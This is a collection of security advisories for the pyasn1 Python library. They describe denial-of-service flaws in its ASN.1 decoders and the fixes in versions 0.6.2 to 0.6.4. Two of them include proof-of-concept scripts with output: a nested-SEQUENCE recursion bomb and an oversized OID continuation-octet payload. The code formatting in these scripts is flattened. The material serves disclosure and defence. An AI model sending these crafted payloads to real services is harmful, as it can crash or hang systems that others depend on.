pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.
Impact The BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled ValueError (integer string conversion limit) while the decoder formats error messages, violating the documented PyAsn1Error contract and potentially bypassing caller error handling.
Any application decoding untrusted BER/CER/DER input is affected.
Affected components - pyasn1.codec.ber.decoder — decode() and StreamingDecoder - pyasn1.codec.cer.decoder and pyasn1.codec.der.decoder, which inherit the same tag parsing - pyasn1.type.tag — Tag/TagSet reprs could raise ValueError when rendering oversized tag IDs (reachable through decoder error paths)
The encoders and the pyasn1.codec.native codec are not affected.
Patches Fixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with PyAsn1Error. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.
Workarounds Bound the size of untrusted input passed to decode() before calling it.
Impact The BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.
The arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.
Affected components ObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.
Patches Fixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.
Workarounds Limit the size of untrusted ASN.1 input before decoding.
Impact The univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.
Any operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.
Affected components - pyasn1.type.univ.Real — float conversion (float() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int()) - Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values
The encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.
Patches Fixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as <overflow>.
Workarounds Avoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.
https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r reports: Package: pyasn1 (pip) Affected versions: <= 0.6.2 Patched versions: 0.6.3
Summary ------- The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.
Details ------- The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.
Vulnerable Code Locations:
1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.
2. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.
3. decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, options): This method handles decoding when no schema is provided.
In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAXASN1NESTING limit.
PoC --- import sys from pyasn1.codec.ber import decoder
sys.setrecursionlimit(100000)
print("[] Generating Recursion Bomb Payload...") depth = 50000 chunk = b'\x30\x80' payload = chunk depth
print(f"[] Payload size: {len(payload) / 1024:.2f} KB") print("[] Triggering Decoder...")
try: decoder.decode(payload) except RecursionError: print("[!] Crashed: Recursion Limit Hit") except MemoryError: print("[!] Crashed: Out of Memory") except Exception as e: print(f"[!] Crashed: {e}")
[] Payload size: 9.77 KB [] Triggering Decoder... [!] Crashed: Recursion Limit Hit
Impact ------ - This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
- Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.
Credits ------- Vulnerability discovered by Kevin Tu of TMIR at ByteDance.
Severity -------- High 7.5 / 10 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVE ID ------ CVE-2026-30922
Weaknesses ---------- CWE-674
Credits ------- @romanticpragmatism Reporter
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested SEQUENCE (0x30) or SET (0x31) tags with "Indefinite Length" (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (MAXOIDARCCONTINUATIONOCTETS) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource
Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")
Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])
print(f"[] Testing with {payloadsizemb}MB payload...")
payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)
DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')
Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload
print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")
try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')
except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')
print("\n[] Test completed")
Screenshots with the results:
DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />
<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />
Leak analysis
A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin
[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%
Scenario
1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.